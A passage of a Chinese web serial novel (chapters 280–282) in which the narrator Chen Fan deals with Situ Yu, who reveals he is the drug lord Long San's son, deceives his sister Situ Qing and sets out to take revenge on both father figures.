我的态度让周叶青有些意外,她直接对我说道:“进屋说吧。”
于是,我和周叶青商量了一整夜,我们终于敲定了和司徒鸣谈判的方案。
天亮时分,我靠在书房的椅背上,看着窗外慢慢亮起来的天空,周叶青坐在我对面,手里端着一杯已经凉透的咖啡,眼神里带着熬夜后的疲惫,但更多的是兴奋和期待。
“你说,司徒鸣会答应吗?”她问。
我想了想。
“不一定,但他没有选择。”
周叶青点点头。
“龙三爷那边给的条件再好,也是与虎谋皮。司徒鸣不是傻子,他知道龙三爷那种人靠不住,我们这边至少是诚心想合作。”
“还有司徒晴。”我说:“他不就是想让司徒晴控制上城的司徒家族么,我们就帮助她。”
周叶青看着我,眼神里有了一丝的期待。
“现在司徒晴和司徒飞的科技公司,正在商业争斗,我们已经扶持司徒晴了,那就代表没有退路了,只能这样做,至少,跟司徒晴打交道要比和司徒雄他们方便的多。”我说道。
周叶青笑了道:“你分析人的时候,真像一把手术刀。”
“习惯了。”我说道:“在战场上,不了解敌人,就会死。”
她沉默了几秒,然后轻声说:“所以你了解我吗?”
我看着她。
她也看着我,眼神里有一种期待,也有一种忐忑。
“了解一点。”我说。
“哪一点?”
我想了想。
“你很累,但你不会停下来。”
她愣了一下,然后笑了。那笑容里有苦涩,也有释然。
“陈凡,你真的很会看人。”
我没有说话。
周叶青站起身,走到窗边。
“那就这么定了。我让人约司徒鸣,今天下午见面。”
“好。”
她转过身,看着我。
“陈凡。”
“嗯。”
“谢谢你。”
我看着她。
“等办成了再谢。”
她笑了。
下午两点,我们准时出现在约定地点,一家位于市中心的私人会所。
会所很隐蔽,在一条不起眼的小巷里,门口没有任何招牌,周叶青说,这是周家的产业,安全可靠。
我们在包间里等了半个小时,茶换了两泡,门终于被推开了。
进来的不是司徒鸣。
而是我熟悉的不能在熟悉的人,司徒宇!
许久不见司徒宇,他还是和从前一样的高傲,他看着我的眼神里,充满了敌意,是那种深深的敌意!
“陈凡,你把司徒晴照顾的很好啊!”他咬着后槽牙狠狠的看着我!
280我想见司徒晴!
司徒宇坐在我对面,他眼神凶狠的看着我,就差把我给吃了!
“陈凡,你和司徒晴,到哪一步了!”
我眉头微皱,司徒宇是不是有点问过界了,这种私密问题,是他这个做哥哥的能问的吗!
“跟你有什么关系?!”我直接冷冷回答。
“我问你,你们到哪一步了!”他的声音陡然拔高,“上床了吗?”
我看着他,他那双眼睛里有愤怒,有嫉妒,还有痛苦!
我想起了什么,我看了一眼周叶青,周叶青微微皱眉,我忽然想起来,以前周叶青提醒过我,说是司徒宇对司徒晴感情不一般。
难道说,司徒宇喜欢司徒晴?
这特么也太炸裂了!
于是我直接说道:“上了!”
司徒宇的眼睛瞬间充血,整个人咆哮着向我扑来。
他的拳头带着风声砸向我的面门。我侧身一闪,他扑了个空,踉跄了两步。还没等他站稳,我已经起身,一拳砸在他腹部。
他闷哼一声,弯下腰。我顺势抓住他的头发,把他的脸抬起来。
“就这点本事?”
他瞪着我,眼神里满是仇恨。
“陈凡,我要杀了你!”
他挣扎着想反击,但我没给他机会。一拳打在他脸上,他整个人横飞出去,撞在墙上,又滑下来,趴在地上。
他挣扎着想爬起来,但撑了两下,又趴下了。
我走过去,蹲在他面前。
“司徒宇,你知道吗?我最讨厌别人对我动手。”
他抬起头,嘴角流着血,眼神里却还是那种倔强的仇恨。
“你……你凭什么……”他的声音断断续续,“我喜欢她十几年了……从小一起长大……你算什么东西……你凭什么……”
我看着他。
“你喜欢她,她喜欢你吗?”
他愣住了。
我站起身,居高临下地看着他。
“司徒晴从来没跟我说过你,一次都没有。”
他的脸扭曲了。
“那是因为你……是你勾引她!是你……”
“够了。”我打断他:“你是司徒晴的亲哥,你喜欢她,你还有没有伦理道德!”
他趴在地上,大口喘着气,过了好一会儿,他才慢慢爬起来,靠在墙上,用袖子擦着嘴角的血。
“陈凡。”他的声音沙哑得像砂纸,“你知道我是谁吗?”
“司徒宇,司徒鸣的儿子。”
他忽然笑了,那笑容里有苦涩,有自嘲,还有一种破罐子破摔的疯狂。
“司徒鸣的儿子?哈……我根本不是他亲生的。”
我眉头一皱。
“我是他收养的,我从小就知道。”
我沉默了几秒。
“所以呢?”
“所以……”他靠着墙,慢慢滑坐在地上,“所以我从小就明白,我不是司徒家的人,我得比别人更努力,更听话,更懂事,才能在这个家活下去。”
他低下头,看着自己的手。
“我喜欢司徒晴,从小喜欢。她是我在这个世界上唯一觉得温暖的人,她不嫌弃我,不欺负我,还总是对我笑我我以为只要我够努力,总有一天能配得上她。”
他抬起头,看着我,眼眶通红。
“可是你呢?你算什么东西?你凭什么?”
我没有回答。
司徒宇颤抖着对我说:“你知道我怎么知道你们的吗?那天晚上,我去找她,看到她手机里的照片,你们在一起的照片,她笑得好开心……那种笑,她从来没对我笑过。”
他低下头,肩膀剧烈地抖动。
我看着他,没有说话。
房间里安静了很久。
“司徒宇。”我终于开口,“你恨我?”
他抬起头,看着我,眼神里有恨,也有一种无助。
“恨。可是……我更恨我自己。”
“为什么?”
“因为我没用。”他的声音轻得像叹息,“因为我什么都做不了,连自己喜欢的人都保护不了。”
我沉默了几秒。
“那你今天来,是为了什么!”
司徒宇盯着我问道:“我想知道,你对司徒晴是不是真心的!如果你只是玩玩,我会杀了你!”
他的声音又颤抖起来。
“但如果你是真心的……如果你真的对她好……”
司徒宇没有说完,他双手捂着脸,似乎很痛苦。
我看着他,忽然有些理解这个年轻人了。
一个从小没有血缘依靠的养子,在这个吃人的家族里如履薄冰,唯一的光就是那个女孩,而现在,那束光被别人夺走了。
“我对她是真心的。”我说。
他盯着我,像是在判断我有没有撒谎。
“你发誓?”
“我陈凡从不发誓。”我顿了顿,“但我做的事,我自己负责。”
他看了我很久,然后慢慢站起来。
“好。”他说,“我信你一次。”
“陈凡,我今天找你,不只是为了这件事。”
我看着他。
“我来,是想告诉你一个秘密。”
“什么秘密?”
他深吸一口气,压低声音。
“司徒鸣……不是我父亲,但他也不是我母亲的丈夫。”
我眉头一皱。
“什么意思?”
他看着我,眼神里有一种复杂的情绪。
“我母亲,是司徒鸣从龙三爷手里抢来的。”
我和周叶青微微一愣,没想到司徒宇竟然是这样的身世!
“当年,我母亲是龙三爷的女人,她怀了我之后,龙三爷要把她处理掉,是司徒鸣救了她,娶了她,给了我司徒家的身份。”
司徒宇抬起头,看着天花板道:“但这些,都是假的,司徒鸣救我母亲,不是为了爱情,是为了报复龙三爷。”
“所以你是龙三爷的儿子?”我问道。
司徒宇点了点头道:“龙三爷是我亲生的父亲。”
我和周叶青对视一眼,都没有说话,这个消息一旦传播出去,那么整个金三角的局势就会被颠覆。
司徒家、龙家、周家……所有的势力都会被重新洗牌。
“你为什么告诉我这些?”我问。
“因为我要报仇。”司徒宇道。
“报什么仇?”
“司徒鸣杀了我母亲,“十二岁那年,母亲‘病逝’。但我后来查到了,司徒鸣利用完我母亲,觉得她没用了,就灭了口。”
司徒宇说着眼眶又红了,但这次没有流泪。
“这些年,我一直在等一个机会,等一个能扳倒司徒鸣的人。”
他看着我。
“陈凡,我觉得你就是那个人。”
我看着他,没有说话。
“陈凡,我们合作,里应外合,扳倒司徒鸣。”司徒宇说道。
我看着他的眼睛。
那双眼睛里有仇恨,有期待,也有孤注一掷的决绝。
“你知道这意味着什么吗?”我问。
“知道。”他点头,“意味着我放弃司徒家的一切,意味着我承认自己是龙三爷的儿子,意味着我可能被所有人唾弃。”
“那你还做?”
他笑了,那笑容里有苦涩,也有释然。
“因为我早就什么都没有了,从我母亲死的那天起,我就是个死人。”
司徒宇看着我到:“陈凡,帮帮我!”
“司徒宇。”我终于开口,“如果你说的是真的,我帮你,但是,如果你骗我,我会让你比司徒鸣死得更惨。”
他看着我,郑重地点了点头。
“我发誓,我说的每一个字都是真的。”司徒宇看了看我,接着说道:“陈凡,我想见见司徒晴,可以么?”
我看着司徒宇,我思考了一下,道:“你是她的哥哥,当然可以,不过见面的地点,需要我来安排。”
我的话就是在告诉司徒宇,你只是司徒晴的哥哥,其他的什么都不可以。
“如果可以,帮我保守秘密,尤其是在我杀了司徒鸣后,不要告诉晴儿真相。”
司徒宇眼神决绝,仿佛做了一个重大的决定。
“当然,我会保护好晴儿。”我点了点头。
“你们两个谈完了?”周叶青看了看我和司徒宇问道。
我们同时点了点头。
“司徒宇,司徒鸣为什么没有来?”周叶青直接问道。
“他身体不适,在家休养,具体什么事,不方便透露。但他让我转告二位,你们提的条件,他可以考虑。”
我和周叶青又对视一眼。
身体不适?
昨天还好好的,今天就不适了?
“那他打算怎么考虑?”我问。
司徒宇转向我,目光在我脸上停留了几秒。
“司徒鸣的意思是,可以放弃和龙三爷的合作。”他说,“但有两个条件。”
“说。”
“第一,金三角的业务,司徒鸣要占六成,你们两家分剩下的四成。”
周叶青的脸色微微一变。
“六成?胃口不小。”
司徒宇不为所动,继续说:“第二,周小姐要公开表态,支持司徒鸣在司徒家的地位。”
周叶青愣了一下,然后笑了。那笑容里有冷意。
“他倒是打得一手好算盘,让我公开支持他,就等于把我和他绑在一起。以后他在司徒家站稳了,我周家就是他的人质。”
司徒宇看着她,眼神里有一丝欣赏。
“周小姐果然聪明,司徒鸣说这叫诚意,你支持他,他才会相信你。”
我开口了。
“你父亲为什么不亲自来?”
司徒宇转向我。
“我说了,他身体不适。”
“什么病?”
他沉默了一秒。
“不方便透露。”
“司徒鸣是不是出事了?如果你想除掉司徒鸣,必须和我说实话!”我追问。
司徒宇沉默了几秒,然后轻声说:“他确实出事了,今天早上,有人在他的茶里下毒。虽然抢救及时,保住了命,但现在还在医院,不能见人。”
周叶青的脸色变了。
“谁下的毒?”
司徒宇摇摇头道:“不知道,但司徒鸣怀是龙三爷的人!”
司徒宇接着说道:“司徒鸣和龙三爷的合作,从一开始就各怀鬼胎,龙三爷想利用家父打进上城,司徒鸣想利用龙三爷对付周家,但龙三爷那个人,多疑成性,他根本不信任何人,合作归合作,他一直在安排人监视司徒鸣。”
“龙三爷发现司徒鸣另有打算?”周叶青问道。
司徒宇点点头道:“司徒鸣确实另有打算,他从一开始就没想真和龙三爷合作,他想的是,先借龙三爷的势压住周家,等自己站稳了,再反过来对付龙三爷。”
周叶青冷笑一声:“他想得倒是挺美。”
“可惜龙三爷比他更狠,发现司徒鸣有二心,直接派人下毒。”
我看着他的眼睛。
“那你呢?司徒宇你今天来的目的到底是什么!”
我追问着他,我不相信一个隐忍多年的人,会为了一个女人,就铤而走险,他一定有自己的目的!
“我想替他,完成谈判!”司徒宇说道。
“司徒鸣的条件,我们不可能接受。”周叶青说道。
“我知道你们不会同意,所以我有另一个方案。”司徒宇说道。
“说。”我说。
“金三角的业务,我占四成,剩下六成你们分。”
周叶青挑眉道:“你要自己独占四城,你什么意思,要做掉司徒鸣?”
“周小姐,这是我的事情,只要你答应我的条件就可以,至于司徒鸣死不死,那就与你们无关了。”
我冷笑了一声道:“司徒宇,看来你今天来其实是想取而代之,是来拜山头的。”
“你可以这样理解,上城我是回不去了,只有把握住金三角那条线,我才能活,所以……我必须要除掉司徒鸣,新仇旧恨一起算。”
“四六分,已经是我的极限了,我也有手下人要养活。”司徒宇再一次说道。
我看了看周叶青,她才是真正的话事人,只要她点头,我就同意。
周叶青点了点头,道:“可以。”
“你需要我怎么配合你?”我问道。
“你要龙三爷死,我要司徒鸣死,你说,他们两个一起死怎么样?”司徒宇忽然眼神阴暗。
“你要让他们见面?”我问道。
“这就是我的事情了,我今天就想见司徒晴,陈凡,你来安排吧,算是我的请求。”
司徒宇说完,就低着头,不在看我。
这是他今天第二次说出要见司徒晴的话,我知道,他这次也是凶多吉少,所以,我也不在犹豫。
直接拨通了司徒晴的电话。
“晴儿,有人想见你。”
“谁啊?”电话那边传来悦耳的声音。
“司徒宇……”
吧嗒!
电话那边传来手机掉落的声音……
281司徒晴和司徒宇!
“晴儿一会儿就会到。”
我喝着咖啡,对坐在对面的司徒宇说道。
“陈凡……”他看了我一眼,算是恳求道:“我想和晴儿单独说会话,我想你该不会拒绝我这个当哥哥的要求吧。”
我听到司徒宇说出哥哥两个字,我的心也踏实了,不管他对司徒晴现在还有没有非分之想,但至少此时此刻,他还是很本分的。
我觉得也没有必要在为难他,于是我点了点头,我起身去外面抽烟。
司徒宇手里捧着咖啡,眼睛却一直盯着窗外的那条街。
他在等一个人。
等那个他从小看着长大、从小偷偷喜欢、却永远不能也不敢说出口的人。
等那个他名义上的妹妹,实际上这世上唯一给过他温暖的人。
二十分钟后,一辆奔驰迈巴赫停在了咖啡店门口。
车门打开,一个穿着米色风衣的女孩走下来,她二十出头,长发披肩,五官清秀,眉眼间有一种温婉的气质,阳光照在她脸上,把她的皮肤映得近乎透明。
司徒晴!
当她出现的那一刻,司徒宇的整个人都呆住了,整个人都恍惚了,他太久没有看到自己的妹妹了。
司徒晴快速步入咖啡店,当她从我的口中得知,司徒宇还没死的时候,她很高兴,她现在很想看见自己的哥哥。
她推门进入包房,看到司徒宇的那一刻,她红了眼睛。
“哥!你还活着!太好了!”
司徒晴冲过去,紧紧的抱住了司徒宇。
那一刻,司徒宇也红了眼眶,这个上城横行霸道,不可一世的公子哥,这一刻,竟然红了眼睛。
“哥,你到底去哪里了?你有没有事?”
“你知道陈凡说你还活着的时候,我有多开心!”
司徒晴抬起头,看着司徒宇,她脸上开心的表情不是假的!
虽然自己的哥哥,以前总是控制欲极强,对自己关东关系,可他毕竟是自己的哥哥啊,司徒鸣和司徒宇失联的这些日子里,司徒晴尝尽了人情冷暖。
此刻,她终于可以和亲人团聚了。
“哥,你等我很久了吧!”
“我刚工作完,就赶来了!”
司徒晴一脸兴奋道:“哥,我现在有自己的公司了!”
司徒宇看着她,嘴角弯起一个笑容:“晴儿,真的是长大了。”
“哥,你这些日子去哪了,还有,你怎么忽然出现了?我太好奇了!”
司徒晴在他对面坐下,把包放在旁边,招手叫来服务员,点了一杯卡布奇诺。
司徒宇看着她,眼神里有一种说不出的温柔。
“想你了。”
司徒晴愣了一下,然后笑了,那笑容灿烂得像窗外的阳光。
“哥你今天怎么这么肉麻?是不是谈恋爱了?”
司徒宇摇摇头。
“没有,就是想你了。”
司徒晴看着他,眼神里有一丝疑惑,但很快被笑容取代。
“好吧好吧,就当你想我了。”她端起刚送来的卡布奇诺,喝了一口,“爸最近怎么样?他怎么没来?”
司徒宇的眼神微微波动了一下,道:“爸他,他最近不太好。”
司徒晴的笑容瞬间凝固了。
“什么?怎么了?”她连忙追问。
司徒宇抬起头,看着她,道:“爸,他中毒了。”
“中毒?!”司徒晴的脸色瞬间变得苍白,道:“什么?他怎么会中毒,你们是受到危险了吗?”
“龙三爷。”司徒宇说出那个名字,声音里带着恨意,“金三角那个老毒枭,爸和他有旧怨,他一直想报复,昨天早上,爸被他下了毒。”
司徒晴的手抖了一下,她着急道:“那现在呢?爸在医院吗?医生怎么说?我要去见他!”
“晴儿!爸不在国内,他在清迈!”
“那他现在怎么样了!”
司徒晴听到司徒宇的话,明白了一些事情,原来他们父子失踪的日子,是去了清迈。
可是她不懂的是:为什么走的时候,连招呼都不打?为什么自己被司徒飞欺负的时候,他们选择了袖手旁观,是真的不知道?还是有别的其他原因么?
司徒晴不敢继续往下面想,因为人性是最不能窥探的,否则受伤的就只能是自己。
“爸没有住院。”司徒宇瑶瑶头说道。
“为什么?”司徒晴不解的问道。
“因为不想打草惊蛇。”司徒宇看着她道:“龙三爷的人还在盯着,如果让外界知道爸中毒了,我和爸就危险了。”
司徒晴的眼眶红了道:“那怎么办?总不能就这么挺着吧?”
“你不用担心,我有办法。”司徒宇打断她,声音很轻,却很坚定。
司徒晴抬起头看着他。
“什么办法?”
司徒宇沉默了几秒。
“我去找龙三爷。”
司徒晴的眼睛瞬间睁大。
“你疯了?他敢对爸下毒,你去不是送死吗?”
司徒宇轻轻笑了,那笑容里有苦涩,也有温柔。
“晴儿,哥没那么傻,我不是去拼命,是去……谈判。”
司徒晴看着他,眼神里满是怀疑。
“谈判?和那种人有什么好谈的?”
“有的。”司徒宇说道:“龙三爷想要的东西,我知道在哪,用那个东西,换爸的解药。”
司徒晴沉默了。
她看着司徒宇,看着这个从小一起长大的哥哥,看着这个总是默默照顾她、保护她、从不让她受一点委屈的哥哥。他的脸上有一种她从没见过的表情,那是一种近乎悲壮的决绝。
“哥……”她的声音有些哽咽,“你……你一定要去吗?”
司徒宇点点头。
“必须去。”
司徒晴的眼泪掉了下来。
“可是万一你遇到危险怎么办?我都救不了你!”
司徒晴感觉到一种深深的无力,她只是觉的自己太弱了,连自己的亲人都保护不了。
“没有万一。”司徒宇伸手,轻轻擦掉她脸上的泪,“哥答应你,一定活着回来。”
司徒晴看着他,眼泪止不住地流。
司徒宇看着她,心里像被刀割一样疼。
他骗了她。
司徒鸣根本没中毒,是他自己,要去杀司徒鸣。
他为了给母亲报仇,为了结束这二十年的屈辱和隐忍。
但他不能告诉她真相。
司徒宇不能让她知道,她叫了二十年“爸爸”的那个人,是个杀了自己亲生母亲的凶手。
不能让她知道,她这个从小一起长大的哥哥,根本不是她亲哥哥。
不能让她知道,他要去做的,是一件多么危险、多么疯狂的事。
他只能骗她。
“晴儿。”他轻声叫她。
司徒晴抬起头,泪眼朦胧地看着他。
“如果……如果哥这次不在了,”他轻轻问道:“你会记得哥的好吗?”
司徒晴愣了一下,然后猛地扑过来,抱住他。
“不许胡说!”她的声音闷在他怀里,带着哭腔道:“你是我哥!你怎么可能不在了?你一定得活着回来!一定得回来!”
司徒宇僵了一下,然后缓缓伸出手,轻轻抱住她。
她的身体很软,很暖,带着淡淡的香气。那是他熟悉的味道,从小到大,闻了无数遍。
他闭上眼睛,把这一刻深深印在心里,也许,这就是最后一面,也许,以后就再也见不到了。
过了好一会儿,司徒晴才从他怀里退出来。她红着眼眶,看着他,认真地说:“哥,你要活着回来。”
司徒宇看着她,笑了,那笑容里有温柔,有宠溺,也有只有他自己知道的苦涩。
“好,哥答应你。”
司徒晴这才破涕为笑,用手背擦了擦眼泪。
“那说定了,你要是敢不回来,我就不认你这个哥了。”
司徒宇点点头。
“说定了。”
忽然,司徒晴的手机来了一个电话。
“哥,我接个电话。”她说道。
司徒宇看着面前的这个长大的妹妹,心里不只是高兴,还是失落,他总觉得失去了什么。
应该是,司徒晴的成长变化,与自己无关,都是陈凡的帮助。
“什么?研发出来了?他们要来签订单?”
“好!我这就回去。”
司徒晴高兴的挂上电话,然后一脸抱歉的看着司徒宇。
“公司有事了吧。”他笑着问。
“嗯。”
“那快点回去吧。”
“嗯。”
司徒宇送她到门口。
她站在迈巴赫前面,回头看着他。
“哥。”
“嗯。”
“你要小心。”
“知道。”
“一定要活着回来。”
她钻进车里,关上车门,车子发动,慢慢驶远。
司徒宇站在原地,看着那辆车越来越小,最后消失在街角。
直到司徒晴走远,他才转身,慢慢走回咖啡馆。
桌上,那两杯咖啡还摆着,他在她坐过的位置坐下。
那个位置,还有她残留的温度。
他闭上眼睛,把头靠在椅背上。
脑海里,全是她的脸,小时候扎着羊角辫追着他跑的,长大了亭亭玉立对他笑的,刚才哭着扑进他怀里的。
每一张脸,都像刀子一样,一刀一刀割在他心上。
“晴儿……”他轻声呢喃,“对不起。”
对不起骗了你。
他睁开眼,站起身,走出咖啡馆。
忽然,他的手机响了,是一条信息,他点开看。
是司徒晴发来的:哥,我到公司了,今天很开心,记得你答应我的,一定要活着回来。
他看着那条信息,看了很久。
然后他回:好。
只有一个字。
但他知道,这一个字里,有千言万语。
他忽然想起小时候,有一次她摔破了膝盖,哭着跑来找他,他蹲下来,给她吹伤口,一边吹一边说:“不疼不疼,哥在呢,哥保护你。”
她眨着泪汪汪的眼睛看着他,问:“哥,你会一直保护我吗?”
他点头,说:“会。一直。”
那时候,他是真心的。
现在,他也是真心的。
第二天一早,司徒宇离开了上城。
没有人送他。
只有一条信息,发给司徒晴的。
“哥出差几天,照顾好自己。”
很快,她回:“好。你也是。”
“司徒晴见到你很开心。”
我从咖啡馆旁边的巷子里走出来,慢慢走到他身后。
“都听到了?”他的声音沙哑道。
“嗯。”我点了点头。
他轻轻笑了道:“她还是那么的美好。”
“那你也看到了,她现在过得有多好。”我略带得意道。
我走到他身边,和他并肩站着,司徒晴能有今天,都是我在运作的,我当然自豪和骄傲。
“是。”
他转过头,看着我道:“陈凡,你知道我有多嫉妒你吗?”
我没有说话,只是默默的点燃了一根烟。
“我认识她二十年,从她会走路、会说话,我就陪在她身边。她第一次摔跤,是我扶她起来的。她第一次被欺负,是我帮她出头的。她第一次来例假,吓得哭,是我跑去给她买卫生巾,假装淡定地告诉她这是正常的。”
他的声音微微颤抖。
“二十年,我看着她从一个小丫头,长成现在这个样子,我以为只要我一直对她好,一直陪着她,总有一天她会看到我。”
他低下头,看着自己的手。
“可她看到的是你。”
我沉默着。
他抬起头,又看向那条街道。
“她不嫌弃我,不躲着我,对我笑,叫我哥。你知道吗,每次她叫我哥,我心里都像刀割一样。因为我知道,这个‘哥’,是一道永远跨不过去的坎。”
他的声音越来越轻。
“可我又舍不得她不叫,因为如果她不叫了,我连留在她身边的理由都没有了。”
“司徒宇。”我开口。
他转过头看着我。
“她叫你那一声哥,是真的把你当哥哥。”
他愣了一下,然后笑了,那笑容里有苦涩,也有释然。
“我知道,正因为知道,所以才更痛。”
他顿了顿,眼神忽然变得锋利起来。
“陈凡,你听清楚。我今天说的话,你一个字都不要忘。”
我看着他的眼睛。
“你说。”
他上前一步,和我面对面站着。
“如果你辜负了她,如果你让她伤心,如果她因为你哭一次,哪怕只有一次!我都会杀了你!”
我看着他的眼睛,那里面有威胁,有警告,但更多的是哥哥对妹妹的爱。
“不会。”我说道:“我永远不会让她哭。”
他看着我,然后轻轻点了点头。
“好,我信你一次。”
“陈凡,司徒鸣那边,你就不用管了。”司徒宇说道。
我眉头一皱。
“什么意思?”
他没有回头。
“那是我自己的事。”
我快步上前,拦住他的去路。
“你自己的事?你知道司徒鸣是什么人吗?你知道他身边有多少人保护吗?你知道杀了他之后要面对什么吗?”
他看着我,眼神平静得像一潭死水。
“知道。”
“知道你还……”
“陈凡。”他打断我,“我等这一天,等了十年。”
我愣住了。
他绕过我,继续向前走。
我跟上去,再次拦住他。
“杀了司徒鸣,龙三爷那边怎么办?他是你亲爹,你不会不知道吧?”
他停下脚步。
他站在那片朦胧里,背对着我。
“一起杀。”
282世子之争!
我看着司徒宇,此刻的他,犹如一尊复仇的杀神。
他眼神复仇的怒火,足以将一切燃烧。
“我母亲是**的,你应该听我说过了,这些年,我每天晚上都会梦到她,梦到她临死前看我的那个眼神,她什么都说不出来,但她用眼神告诉我,让我活下去,让我替她报仇。”
他伸出手,按在我肩上。
“陈凡,你不知道这十年我是怎么过的,每天对着杀母仇人叫爸爸,每天看着他在我面前装慈父,每天都要忍着恶心,赔着笑脸。”
“我受够了。”
我看着他,没有说话。
他松开手,退后一步。
“司徒鸣的命,是我的,龙三爷的命,也是我的。谁都不能跟我抢。”
“你一个人对付不了他们。”我说。
他笑了,那笑容里有疯狂,也有决绝。
“那就一起死。”
“司徒宇!”我喊了一声,道:“可你还是司徒晴的哥哥。”
他摆摆手,打断我道:“别劝了,我心意已决,正是因为我是她的哥哥,有些事情,我必须去做!”
“陈凡,替我照顾好晴儿,如果她问起我,就说我出差了,去很远的地方,可能要很久才能回来。”
“还有别告诉她真相,让她以为我还活着,还在某个地方想着她。”
司徒宇说完,转身就离开。
“司徒宇!如果你**,她一定会很难过。”
他的背影僵了一下,然后说道:“那就不要告诉她。”
我目送着司徒宇离开,脑袋里想的都是他刚才跟我说的那些话。
“他要一起杀掉仇人,要为母亲报仇。”
我不知道他能不能成功。
但我知道,从今往后,无论他能不能活着回来,那个叫司徒晴的女孩,心里都会有一个位置,永远属于他。
当我回到别墅时,已经很晚了。
柳媚笙还没睡,她坐在客厅里等我,看到我进来,她站起身。
“陈凡,发生什么事情,怎么脸色这么难看?”
我没有说话,只是走过去,把她揽进怀里。
她愣了一下,然后轻轻抱住我。
“陈凡,发生什么事了?”
我把头埋在她颈窝里,闷声说:“没事,就是想抱抱你。”
她没有再问,只是把我抱得更紧。
过了好一会儿,我才松开她。
她看着我,眼神里有关切,也有温柔。
“饿不饿?我给你热点东西吃?”
我摇摇头。
“陪我坐一会儿。”
她点点头,拉着我在沙发上坐下。
“陈凡。”她忽然开口。
“嗯。”
“你今天见谁了?”
我沉默了几秒。
“司徒宇。”
她转过头看着我。
“他说什么了?”
“他说了很多,关于司徒晴,关于他自己,关于他要去做什么。”
柳媚笙轻轻握住我的手。
“他要去做什么?”
我转过头看着她。
“**,杀司徒鸣,杀龙三爷。”
她的眼睛睁大了,露出一个不敢相信的表情。
“一个人?”她惊讶的问我。
“对,一个人。”我说道。
她沉默了,过了好一会儿,她才轻声说:“他会死吗?”
“不知道。”我说道:“可他非去不可,为母报仇。”
她靠在我肩上,轻轻叹了口气。
“陈凡。”
“嗯。”
“有时候我觉得,这个世界太残酷了。”
“媚笙,你好像变得心软了。”我看着她说道:“以前的你,可从来不会这样他优柔寡断。”
柳媚笙笑着摇了摇头,然后将下巴抵在我的肩膀上,道:“不是我优柔寡断,是我有了更在乎的人……”
两天后,清迈。
一辆黑色的越野车正驶出市区,向西北方向的山林深处开去,车里坐着的人正是司徒宇。
他穿着一身深色的休闲装,脸上看不出任何表情,车子开了两个小时,最后在一处隐藏在密林中的庄园门口停下。
这个庄园很大,四周围墙高耸,门口站着四个**的守卫,看到车子,他们立刻警戒起来,枪口对准了车窗。
司机摇下车窗,用缅甸语说了几句什么,守卫们对视一眼,其中一个拿出对讲机说了几句,然后点点头,示意放行。
车子驶进庄园,穿过一片宽阔的草坪,最后在一栋白色的建筑前停下。
司徒宇下车,他眯着眼睛,看着眼前的建筑,这是一个三层小楼,在热带山林里显得有些格格不入,可这里就是龙三爷的老巢。
他深吸一口气,向门口走去。
门口站着两个穿黑衣服的保镖,肌肉发达,眼神凶悍。他们上下打量着司徒宇,其中一个用生硬的汉语问:“你就是司徒宇?”
“是。”
“你跟我们走。”
他们带着司徒宇穿过走廊,上了二楼,最后在一扇紧闭的大门前停下。
一个保镖敲了敲门,里面传来一个苍老却有力的声音:“进来。”
门被推开,房间里很宽敞,装修的富丽堂皇,这里摆放着红木家具,还有一些名贵字画。
落地窗前,一个老人坐在沙发上,他就是龙三爷,他的身边,还站着龙威。
龙威看到司徒宇,眉头微微皱起,但没有说话。
龙三爷穿着一身深色的中式对襟衫,头发花白,脸上布满皱纹,他直勾勾盯着司徒宇问道:“你就是司徒宇?
“是。”
龙三爷看着他,问道:“司徒鸣的儿子,来找**什么?”
司徒宇迎着他的目光,一字一顿地说:
“我不是司徒鸣的儿子。”
房间里安静了一瞬。
龙三爷的眉头微微皱起。
“什么意思?”
司徒宇深吸一口气,然后缓缓说出那句在心里演练了无数次的话:“我是你的儿子。”
龙三爷愣住了!
龙威也愣住了!
“你胡说什么?”龙威第一个反应过来,上前一步,眼神凶狠道:“找死吗?”
司徒宇没有看他,只是盯着龙三爷。
“我没有胡说,我母亲叫阮玉英,三十五年前,是您的女人,后来您要把她处理掉,是司徒鸣救了她,娶了她,给了我司徒家的身份。”
龙三爷的眼神剧烈波动起来,他想起来了,确实他有过这么一个女人!
阮玉英。
这个名字,已经二十多年没有人提起了。
那个温婉如水的缅甸女人,那个跟了他三年、怀了他的孩子、却被他下令“处理掉”的女人……
“你……”他的声音有些颤抖道:“你是她的儿子?”
司徒宇点点头。
“那年我母亲怀着我,您觉得她没用了,要杀她灭口,是司徒鸣救了她,把她藏起来,等她生下我之后,娶了她,给了我一个身份。”
“但我母亲,最后还是死在他手里,我十二岁那年,司徒鸣毒**她。”
龙三爷的手紧紧攥着轮椅的扶手,指节发白。
“你有什么证据?”
“没有证据。”司徒宇说,“但我可以做亲子鉴定。”
龙三爷盯着他,盯了很久。
然后他挥了挥手。
“马上叫医生来,快叫医生来!”
龙三爷已经失去龙小玉了,他现在只有龙威这么一个儿子,现在司徒宇凭空冒出来,说是自己的儿子,他是不信的,可当他听到阮玉英这个名字,他有点相信了。
医生是龙三爷从清迈最大的医院请来的,带着最先进的设备,抽血、化验、比对,每一步都在龙威的监视下进行。
当医生拿着鉴定报告走出来时,房间里所有人都屏住了呼吸。
医生看了看报告,又看了看龙三爷,声音有些颤抖:
“龙爷,经鉴定这位司徒宇先生,确实是您的亲生儿子,匹配度99.97%。”
房间里安静得可怕,这个结果足以说明了一切!
龙威的脸色变得极其难看,他张了张嘴,想说什么,却什么都说不出来。
龙三爷接过报告,盯着上面的数字,手在微微颤抖。
99.97%。
亲生儿子。
他还有一个儿子。
一个三十五年从未谋面的儿子。
他抬起头,看向司徒宇,那双浑浊的眼睛里,第一次出现了除了阴狠之外的情绪,那是震惊、愧疚,还有欣喜。
“你……”他的声音沙哑,“你真的是我的儿子?”
司徒宇点点头。
“我是。”
龙三爷看着他,看着他的眉眼,他的轮廓,他站立的姿态。
像,真的太像了!司徒宇的那双眼睛,那种倔强的神态,和他年轻时候一模一样。
“好,好,好!”
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龙三爷连说三个好字,眼眶竟然有些发红道:“我龙三活了七十多年,没想到还能多出一个儿子!”
他看向龙威。
“阿威,这是你弟弟,亲弟弟。”
龙威的脸色铁青,但还是勉强挤出一个笑容。
“恭喜爹。”
龙三爷又看向司徒宇,招了招手。
“孩子,过来。”
司徒宇走过去,在他面前蹲下。
龙三爷伸出手,颤抖着摸了摸他的脸,那双手粗糙而冰凉,但此刻却带着一种从未有过的温度。
“孩子,这些年你受苦了。”
司徒宇看着他,看着这个自己血缘上的父亲,这个让母亲痛苦一生、最后间接害死母亲的男人。
他的心里翻涌着仇恨、厌恶!可他的脸上什么都没有表现出来。
但他脸上什么都没有表现出来。
他低下头,轻声说:“爸。”
那一声爸,让龙三爷的眼眶彻底红了。
他一把把司徒宇抱进怀里,像抱着一个失而复得的珍宝。
“好孩子,好孩子……”
